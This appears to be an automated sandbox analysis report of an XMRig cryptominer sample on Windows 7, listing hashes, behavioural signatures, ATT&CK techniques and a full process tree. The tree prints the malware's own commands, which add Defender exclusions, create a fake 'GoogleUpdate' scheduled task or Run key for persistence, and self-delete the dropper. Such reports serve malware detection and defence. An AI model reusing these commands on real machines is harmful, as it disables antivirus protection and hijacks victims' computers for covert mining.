xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
445s
max time network
1784s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23-01-2024 19:27

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General

Target

grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

LM3BR4UBmKBzBP5H.exeupdater.execonhost.exe

description	pid	process	target process
PID 1704 created 1240	1704	LM3BR4UBmKBzBP5H.exe	Explorer.EXE
PID 1704 created 1240	1704	LM3BR4UBmKBzBP5H.exe	Explorer.EXE
PID 1704 created 1240	1704	LM3BR4UBmKBzBP5H.exe	Explorer.EXE
PID 1704 created 1240	1704	LM3BR4UBmKBzBP5H.exe	Explorer.EXE
PID 2920 created 1240	2920	updater.exe	Explorer.EXE
PID 2920 created 1240	2920	updater.exe	Explorer.EXE
PID 2920 created 1240	2920	updater.exe	Explorer.EXE
PID 2920 created 1240	2920	updater.exe	Explorer.EXE
PID 1416 created 1240	1416	conhost.exe	Explorer.EXE
PID 2920 created 1240	2920	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

Processes:

resource	yara_rule
behavioral17/memory/1976-65-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-69-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1976-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2876 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

2920 updater.exe
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

2396 taskeng.exe

pid	process
2876	cmd.exe

pid	process
2920	updater.exe

pid	process
2396	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral17/memory/1976-65-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-69-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1976-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 2920 set thread context of 1416	2920	updater.exe	conhost.exe
PID 2920 set thread context of 1976	2920	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

cmd.exeLM3BR4UBmKBzBP5H.exeupdater.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	LM3BR4UBmKBzBP5H.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2636 schtasks.exe
1444 schtasks.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1104 WMIC.exe

pid	process
2636	schtasks.exe
1444	schtasks.exe

pid	process
1104	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

Processes:

powershell.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f03e15663e4fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

LM3BR4UBmKBzBP5H.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exe

pid	process
1704	LM3BR4UBmKBzBP5H.exe
1704	LM3BR4UBmKBzBP5H.exe
1028	powershell.exe
1704	LM3BR4UBmKBzBP5H.exe
1704	LM3BR4UBmKBzBP5H.exe
2864	powershell.exe
1704	LM3BR4UBmKBzBP5H.exe
1704	LM3BR4UBmKBzBP5H.exe
1704	LM3BR4UBmKBzBP5H.exe
1704	LM3BR4UBmKBzBP5H.exe
2768	powershell.exe
2920	updater.exe
2920	updater.exe
1748	powershell.exe
2920	updater.exe
2920	updater.exe
1916	powershell.exe
2920	updater.exe
2920	updater.exe
2920	updater.exe
2920	updater.exe
1416	conhost.exe
1416	conhost.exe
2920	updater.exe
2920	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	1028	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	1748	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	2920	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1104	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1104	WMIC.exe
Token: SeSecurityPrivilege	1104	WMIC.exe
Token: SeTakeOwnershipPrivilege	1104	WMIC.exe
Token: SeLoadDriverPrivilege	1104	WMIC.exe
Token: SeSystemtimePrivilege	1104	WMIC.exe
Token: SeBackupPrivilege	1104	WMIC.exe
Token: SeRestorePrivilege	1104	WMIC.exe
Token: SeShutdownPrivilege	1104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1104	WMIC.exe
Token: SeUndockPrivilege	1104	WMIC.exe
Token: SeManageVolumePrivilege	1104	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1104	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1104	WMIC.exe
Token: SeSecurityPrivilege	1104	WMIC.exe
Token: SeTakeOwnershipPrivilege	1104	WMIC.exe
Token: SeLoadDriverPrivilege	1104	WMIC.exe
Token: SeSystemtimePrivilege	1104	WMIC.exe
Token: SeBackupPrivilege	1104	WMIC.exe
Token: SeRestorePrivilege	1104	WMIC.exe
Token: SeShutdownPrivilege	1104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1104	WMIC.exe
Token: SeUndockPrivilege	1104	WMIC.exe
Token: SeManageVolumePrivilege	1104	WMIC.exe
Token: SeLockMemoryPrivilege	1976	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exe

description	pid	process	target process
PID 2864 wrote to memory of 2636	2864	powershell.exe	schtasks.exe
PID 2864 wrote to memory of 2636	2864	powershell.exe	schtasks.exe
PID 2864 wrote to memory of 2636	2864	powershell.exe	schtasks.exe
PID 2876 wrote to memory of 2616	2876	cmd.exe	choice.exe
PID 2876 wrote to memory of 2616	2876	cmd.exe	choice.exe
PID 2876 wrote to memory of 2616	2876	cmd.exe	choice.exe
PID 2768 wrote to memory of 2124	2768	powershell.exe	schtasks.exe
PID 2768 wrote to memory of 2124	2768	powershell.exe	schtasks.exe
PID 2768 wrote to memory of 2124	2768	powershell.exe	schtasks.exe
PID 2396 wrote to memory of 2920	2396	taskeng.exe	updater.exe
PID 2396 wrote to memory of 2920	2396	taskeng.exe	updater.exe
PID 2396 wrote to memory of 2920	2396	taskeng.exe	updater.exe
PID 1916 wrote to memory of 1444	1916	powershell.exe	schtasks.exe
PID 1916 wrote to memory of 1444	1916	powershell.exe	schtasks.exe
PID 1916 wrote to memory of 1444	1916	powershell.exe	schtasks.exe
PID 2920 wrote to memory of 1416	2920	updater.exe	conhost.exe
PID 2272 wrote to memory of 1104	2272	cmd.exe	WMIC.exe
PID 2272 wrote to memory of 1104	2272	cmd.exe	WMIC.exe
PID 2272 wrote to memory of 1104	2272	cmd.exe	WMIC.exe
PID 2920 wrote to memory of 1976	2920	updater.exe	conhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1240

C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe
"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2864

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:2636

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2876

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1916

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
3⤵
- Creates scheduled task(s)
PID:1444

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1976

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:2836

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2272

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe qtdiqnkejoz
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1416

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2616

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2124

C:\Windows\system32\taskeng.exe
taskeng.exe {DA245697-ACAE-4277-AB6E-6A45D848201E} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2396

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2920

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1104

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
556KB

MD5
70d73184c5c4c6a1b265288121c7b9bf

SHA1
dd0c538c6c5cd23ea5ea59afe76bf9fae3275859

SHA256
003cd3d8bbcc9f44eaff50d71f0a92775a387603bc5341c3d3ee72d37c11625c

SHA512
f27d152fcd2f75ef66b06e874b5ea059c7445b3321bb942bdae5d6f5e63d7664dd87dd1866a71a6eed1e10dec654d0555946fada2ec8ca7a5f59b95c1079678c

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
508KB

MD5
16dd11f6c87497578dd1d250ff2bbf69

SHA1
cf22de46b1f72be783d3e2be9219a10a4e605bd9

SHA256
f7be22390ad76001c50a8b1efb074ef849a5cac2712768552173967d81dd1a8e

SHA512
0513286ec6659a5a3b98a2425ba193c384afe33844bacf994983050960a086468d094736af3858d047470d6858ab924a851413456f2cd402b359e7bc81278f2e

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FHQ827EU34J751Q7SJ13.temp
Filesize
7KB

MD5
4e4c4a20d9a990ee60a5ee32e6075f83

SHA1
3a5e2199d48f50439f2871aca15efb0aedc9c7f7

SHA256
2a3127471ef35b3dd5aa72d445a14c321760267f7154bbddb67197d2950e7ce8

SHA512
3e9d24ad47e7d39169bd3b4606302a13141deb75e25921f15d109308b2f9da5dc29ba30defbe9c9e6dc736724858f091c32db0a7a67e452dffb3f57b666aed33

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
854KB

MD5
d6a21b2debf71c32167868d2694e5d9a

SHA1
2762873534747dd0b65ee3be92b3fe0c3b485589

SHA256
2ab5e9af53fa156fbaf7b672de12c8927d6590e25e2571e8b9bf1f0c3d5009dc

SHA512
d192e0d9d16c5c9699d4e3e68305bb2ea9fbd987036c6fd2401ef9838b0be9841b3c7d49c2f4224a4ec1f154f084d20e37519c58422c7f7772af2e280050e92c

Download Submit
memory/1028-9-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Filesize
512KB

Download
memory/1028-10-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1028-11-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Filesize
512KB

Download
memory/1028-12-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1028-7-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1028-8-0x0000000001F40000-0x0000000001FC0000-memory.dmp

Filesize
512KB

Download
memory/1028-6-0x0000000001F10000-0x0000000001F18000-memory.dmp

Filesize
32KB

Download
memory/1028-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/1416-68-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1416-75-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1704-27-0x000000013F120000-0x000000013F331000-memory.dmp

Filesize
2.1MB

Download
memory/1704-0-0x000000013F120000-0x000000013F331000-memory.dmp

Filesize
2.1MB

Download
memory/1748-47-0x0000000001564000-0x0000000001567000-memory.dmp

Filesize
12KB

Download
memory/1748-43-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/1748-45-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/1748-49-0x000007FEF56E0000-0x000007FEF607D000-memory.dmp

Filesize
9.6MB

Download
memory/1748-44-0x0000000001560000-0x00000000015E0000-memory.dmp

Filesize
512KB

Download
memory/1748-46-0x0000000001560000-0x00000000015E0000-memory.dmp

Filesize
512KB

Download
memory/1748-48-0x000000000156B000-0x00000000015D2000-memory.dmp

Filesize
412KB

Download
memory/1916-52-0x0000000000A50000-0x0000000000AD0000-memory.dmp

Filesize
512KB

Download
memory/1916-51-0x0000000000A50000-0x0000000000AD0000-memory.dmp

Filesize
512KB

Download
memory/1916-53-0x0000000000A50000-0x0000000000AD0000-memory.dmp

Filesize
512KB

Download
memory/1916-55-0x0000000000A50000-0x0000000000AD0000-memory.dmp

Filesize
512KB

Download
memory/1916-56-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-54-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1916-50-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/1976-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-64-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/1976-65-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-66-0x0000000000FB0000-0x0000000000FD0000-memory.dmp

Filesize
128KB

Download
memory/1976-67-0x0000000000110000-0x0000000000130000-memory.dmp

Filesize
128KB

Download
memory/1976-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1976-69-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

